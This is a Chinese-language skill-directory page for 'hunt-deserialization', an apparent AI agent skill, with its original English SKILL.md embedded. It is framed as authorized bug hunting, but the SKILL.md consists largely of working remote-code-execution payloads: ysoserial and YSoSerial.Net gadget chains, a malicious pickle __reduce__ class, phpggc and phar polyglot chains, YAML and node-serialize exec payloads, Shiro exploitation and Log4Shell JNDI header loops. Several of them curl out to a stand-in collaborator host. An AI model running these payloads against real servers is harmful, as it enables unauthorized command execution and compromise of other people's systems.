hunt-deserialization
它能做什么
这项技能测试多种语言和框架中的不安全反序列化问题。它适用于应用接受用户提交的序列化数据的经授权安全测试。
适用场景
- ✓当应用使用 Java、PHP、Python pickle、.NET 或 Ruby,并接受序列化数据时。
- ✓当 Cookie 或请求正文看起来像一个序列化对象时。
- ✓当你怀疑某个日志或框架组件可能触发远程查找时。
技能链接
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-deserialization/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“这个 Java 应用发送序列化对象 Cookie。请帮我在经授权的测试中检查它是否存在不安全的反序列化问题。”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会根据数据识别序列化格式,然后针对该语言测试已知的高风险模式。它会报告已确认的问题,并附上影响证明。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
HUNT-DESERIALIZATION — Insecure Deserialization
Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- PHP Object Injection —
__wakeup/__destructmagic methods → file write / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
- JNDI injection — Log4Shell pattern:
${jndi:ldap://attacker/a}→ class load → RCE
Attack Surface Signals
Detection Patterns
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
Header / Cookie Signals
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
Step-by-Step Hunting Methodology
Phase 1 — Java Deserialization (ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
Phase 2 — PHP Object Injection
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
Phase 3 — Python Pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
Phase 3b — PHP phar://, Python YAML, Node deserialization
- PHP phar:// (no
unserialize()call) — any filesystem function (file_exists/fopen/getimagesize) on aphar://path deserializes the archive metadata -> object injection with zerounserialize()in code.phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot # then reach phar://uploads/poly.jpg/x via any fs call - Python
yaml.load()(CVE-2017-18342) — pre-5.1 default-unsafe:!!python/object/apply:os.system ['curl http://$COLLAB/yaml'] - Node
node-serialize(CVE-2017-5941) — IIFE marker in any field passed tounserialize():{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
Phase 4 — .NET ViewState
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
Phase 5 — Log4Shell / JNDI
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https:/
常见问题
为什么这通常很严重?
反序列化漏洞常常直接导致在服务器上执行命令,因此技能将其视为严重问题。
它如何识别 Java 数据?
Java 序列化数据有已知的字节特征,通常会以 rO0 开头的 Base64 字符串形式出现。
文中提到了哪些框架?
技能提到了 Apache Shiro、Log4j 以及类似的、已知存在反序列化问题的库。
详情
作者的原始描述
Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
热度
- GitHub 星标
- 5.4k
- 排名
- #14904
- 许可证
- MIT
- 更新时间
- 2026/11/2
评论
- …
同一仓库的更多技能
apk-redteam-pipeline
5.4k帮你的智能体测试 Android 应用的安全弱点,从找到 APK 文件、反编译,到检查是否暴露了敏感信息。
bugcrowd-reporting
5.4k帮你的智能体撰写更好的 Bugcrowd 漏洞报告,选择正确的类别,并回应“超出范围”的异议。
cloud-iam-deep
5.4k帮你的智能体在经授权的安全测试中,检查找到的云凭据在 AWS、Azure 或 Google Cloud 上能访问哪些内容。
enterprise-vpn-attack
5.4k帮你的智能体在经授权的测试中,检查 Cisco、Fortinet、Citrix 等厂商 VPN 和远程访问设备是否存在已知弱点。